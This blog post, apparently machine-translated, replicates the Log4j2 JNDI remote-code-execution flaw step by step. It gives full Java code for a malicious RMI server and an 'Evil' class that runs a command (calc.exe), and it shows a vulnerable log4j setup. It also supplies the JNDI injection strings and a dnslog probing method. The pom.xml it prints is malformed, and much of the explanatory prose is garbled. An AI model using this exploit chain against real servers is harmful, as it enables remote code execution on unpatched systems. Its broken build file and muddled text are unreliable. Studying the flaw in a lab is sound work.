Log4j2 Vulnerability Replication

Posted by JamesThePanda on Tue, 14 Dec 2021 18:49:19 +0100

Preface

Log4j2's remote execution vulnerability has recently become so hot that I've been using logback s to save lives and lie in bed to watch the show this weekend. We don't need to, but we still need to know.

Reproduction

Control server

■ RMIServer

RMIServer starts an rmi service, which starts two ports, a registry setting, and a random port and IP for transport execution class (System.setProperty settings are deployed in a multi-network card environment, similar to those set on a server and set to public network ip).

package com.bbq;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
//            System.setProperty("java.rmi.server.hostname", "192.168.1.1");
            Registry registry = LocateRegistry.createRegistry(1099);
            System.err.println("Create RMI success");

            Reference reference = new Reference("com.bbq.Evil", "com.bbq.Evil", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

^ Execution Class

What you do, opening the calculator here means you can do more dangerous things.

package com.bbq;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evil implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        try {
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

Controlled server

■ pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.bbq</groupId>
    <artifactId>fastjs</artifactId>
    <version>1.0-SNAPSHOT</version>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
</project>

■ log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Class using Log4j

If the front-end input is not a firewall, the user name is entered as an illegal string, and the log is printed as a placeholder when the login fails, the remote code content is executed.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Lo4j {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
//        String username = "${jndi:ldap://yz934v.dnslog.cn}";
        logger.info("bbq,{}", username);
    }
}

results of enforcement

Running will execute the execution class that controls the server side using the Log4j class on the controlled server side, such as opening the calculator here.

Testing with dnslog website

The deployment control server can be tested with dnslog if it is not convenient

■ http://dnslog.cn/

■ ① Get SubDomain

1 Click the first button Get SubDomain to get a domain name.

Trigger

(2) Change the username of the class using Log4j to ${jndi:ldap://[Getted Domain Name]} ".

■ ③ Refresh Record

(3) Click Refresh Record to get feedback.

Last

After reappearance, we will understand the harsh conditions, and there are many conditions to trigger this vulnerability. It is unlikely that we can write this amazing operation by simply using placeholder records to input. What's more, there are other conditions. We won't have to look at several reports to make a snake in the bow. Of course, the workforce is affluent and upgrading all projects is harmless.

Topics: Java network security